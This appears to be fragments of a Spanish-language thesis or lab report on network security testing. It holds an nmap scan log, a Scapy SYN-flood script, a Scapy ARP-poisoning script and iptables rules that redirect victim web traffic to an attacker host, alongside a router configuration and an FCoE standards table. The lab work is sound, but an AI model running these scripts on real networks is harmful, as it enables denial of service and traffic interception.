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•Ataques por inundación de tráfico 
•Escaneo de redes 
•Intrusion 
Servidor 
•Escaneo de puertos 
•SYN flood attack 
•Ataques DoS 
Aplicación 
•Vulnerabilidad de aplicaciones 
•Ataques DoS sobre aplicaciones 
•Ataques web (XSS, Brute Force, SQL Injection, etc.) 
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root@bt:~# nmap -v -T4 -A 192.168.1.20 
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-28 12:21 EDT 
NSE: Loaded 93 scripts for scanning. 
NSE: Script Pre-scanning. 
Initiating Ping Scan at 12:21 
Scanning 192.168.1.20 [4 ports] 
Completed Ping Scan at 12:21, 0.04s elapsed (1 total hosts) 
Initiating Parallel DNS resolution of 1 host. at 12:21 
Completed Parallel DNS resolution of 1 host. at 12:21, 2.03s elapsed 
Initiating SYN Stealth Scan at 12:21 
Scanning 192.168.1.20 [1000 ports] 
Discovered open port 80/tcp on 192.168.1.20 
Increasing send delay for 192.168.1.20 from 0 to 5 due to 11 out of 13 dropped probes since last increase. 
Increasing send delay for 192.168.1.20 from 5 to 10 due to 11 out of 11 dropped probes since last increase. 
Completed SYN Stealth Scan at 12:21, 48.67s elapsed (1000 total ports) 
 194 
 
Initiating Service scan at 12:21 
Scanning 1 service on 192.168.1.20 
Completed Service scan at 12:22, 6.04s elapsed (1 service on 1 host) 
Initiating OS detection (try #1) against 192.168.1.20 
Initiating Traceroute at 12:22 
Completed Traceroute at 12:22, 0.02s elapsed 
Initiating Parallel DNS resolution of 2 hosts. at 12:22 
Completed Parallel DNS resolution of 2 hosts. at 12:22, 2.04s elapsed 
NSE: Script scanning 192.168.1.20. 
Initiating NSE at 12:22 
Completed NSE at 12:22, 0.17s elapsed 
Nmap scan report for 192.168.1.20 
Host is up (0.0022s latency). 
Not shown: 999 filtered ports 
PORT   STATE SERVICE VERSION 
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu)) 
|_http-title: Site doesn't have a title (text/html). 
|_http-methods: OPTIONS GET HEAD POST 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 
Device type: general purpose 
Running: Microsoft Windows 2008|7 
OS CPE: cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_7:::enterprise 
OS details: Microsoft Windows Server 2008 SP1, Microsoft Windows 7 Enterprise 
Network Distance: 2 hops 
TCP Sequence Prediction: Difficulty=256 (Good luck!) 
IP ID Sequence Generation: Incremental 
 
TRACEROUTE (using port 80/tcp) 
HOP RTT     ADDRESS 
1   0.07 ms 192.168.17.2 
2   0.07 ms 192.168.1.20 
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NSE: Script Post-scanning. 
Read data files from: /usr/local/bin/../share/nmap 
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 62.16 seconds 
           Raw packets sent: 2083 (93.868KB) | Rcvd: 335 (13.464KB) 
Running: Microsoft Windows 2008|7
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#! /usr/bin/env python 
# -*- encoding: utf-8 -*- 
# Name: Diego Cilleros Serrano 
# Description: TCP SYN Flood Packet 
import sys 
from scapy.all import * 
 
if len(sys.argv) != 2: 
    print "Uso: python stress_endian.py <ip_DMZ:80>\n  Ejemplo: python 
stress_endian.py 192.168.1.1" 
    sys.exit(1) 
 
print "Creamos una trama IP con los siguientes valores: (el puerto de origen 
varía en cada trama enviada)" 
 
#Muestra una trama de ejemplo 
 202 
 
p=IP(dst=sys.argv[1])/TCP(flags="S",sport=random.randint(1,65535),dport=80) 
p.show() 
 
print "Envío de paquetes TCP/IP con SYN..." 
send(IP(dst=sys.argv[1])/TCP(sport=RandShort(), dport=80), loop=1, verbose=1)  
 
print "Respuestas:" 
res.summary(lambda(s,r) : r.sprintf("%IP.src% \t %TCP.sport% \t %TCP.flags%") 
) 
res.plot(lambda x:x[1].id) 
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· 
Connected to Dynamips VM "R1" (ID 1, type c7200) - Console port 
Press ENTER to get the prompt. 
 
R1#conf t 
Enter configuration commands, one per line.  End with CNTL/Z. 
R1(config)#interface fastEthernet 1/0 // Interfaz de la red local 
R1(config-if)#ip add 192.168.10.1 255.255.255.0 
R1(config-if)#no sh // Habilitamos la interfaz 
R1(config-if)#exit 
R1(config)#interface gigabitEthernet 0/0 // Interfaz para VMnet8, salida a 
internet 
R1(config-if)#ip add 192.168.17.10 255.255.255.0 
R1(config-if)#no sh 
R1(config-if)#do ping 192.168.17.2 // Realizamos un ping a VMnet8 para 
 211 
 
comprobar que podemos alcanzarlo 
Type escape sequence to abort. 
Sending 5, 100-byte ICMP Echos to 192.168.17.2, timeout is 2 seconds: 
.!!!! 
Success rate is 80 percent (4/5), round-trip min/avg/max = 8/17/24 ms 
R1(config-if)#exit 
R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.17.2 // Añadimos una ruta estática 
para que se pueda disponer de salida a internet. El siguiente salto es VMnet8
R1(config)#exit 
R1#show ip route // Mostramos las rutas para comprobar que está bien 
configurado 
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP 
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 
       E1 - OSPF external type 1, E2 - OSPF external type 2 
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 
       ia - IS-IS inter area, * - candidate default, U - per-user static route 
       o - ODR, P - periodic downloaded static route 
 
Gateway of last resort is 192.168.17.2 to network 0.0.0.0 
 
C    192.168.10.0/24 is directly connected, FastEthernet1/0 
C    192.168.17.0/24 is directly connected, GigabitEthernet0/0 
S*   0.0.0.0/0 [1/0] via 192.168.17.2 
R1# 
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#! /usr/bin/env python 
# -*- encoding: utf-8 -*- 
# Name : Diego Cilleros Serrano 
# Description : ARP Poisoning Packet 
import sys 
from scapy.all import * 
if len(sys.argv) != 3: 
    print "Uso: python stress_arp.py <ip_victima> <ip_router>\n  Ejemplo: 
python stress_arp.py 192.168.1.4 192.168.1.1" 
    sys.exit(1) 
 
#Trama ARP 
p = ARP() 
#IP del router como origen del paquete 
p.psrc = sys.argv[2] 
#IP de la victima como destino del paquete 
p.pdst = sys.argv[1] 
#MAC falsa 
p.hwsrc='00:0c:29:c3:ad:45' 
 
try: 
 while 1: 
  send(p, verbose=0) 
  time.sleep(50) 
except: 
 pass 
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#Insertar regla de enrutado NAT 
iptables --append FORWARD --in-interface $INTERFAZATACANTE --jump ACCEPT 
iptables --table nat --append POSTROUTING --out-interface $INTERFAZATACANTE --
jump MASQUERADE 
 
#Proxy web 
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination 
$IPATACANTE  
iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination 
$IPATACANTE 
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FC-BB-5 Define Fibre Channel over Ethernet 
Define Multi-hop FCoE 
Define FCoE Initialization 
Todo lo que se necesita para usar FCoE, 
desde link-to-link a end-to-end. 
PFC Priority-based Flow Control (802.1Qbb) Permite a Ethernet proveer de tráfico sin 
pérdidas para cada prioridad. 
ETS Enhanced Transmission Selection (802.1Qaz) Permite ancho de banda para ser 
gestionado y garantizado basado en grupos 
prioritarios 
DCBX Data Center Bridging eXchange (802.1Qaz) Permite al protocolo de descubrimiento 
identificar dispositivos compatibles con 
DCB y así poder verificar configuraciones, 
parámetros y ajustes. 
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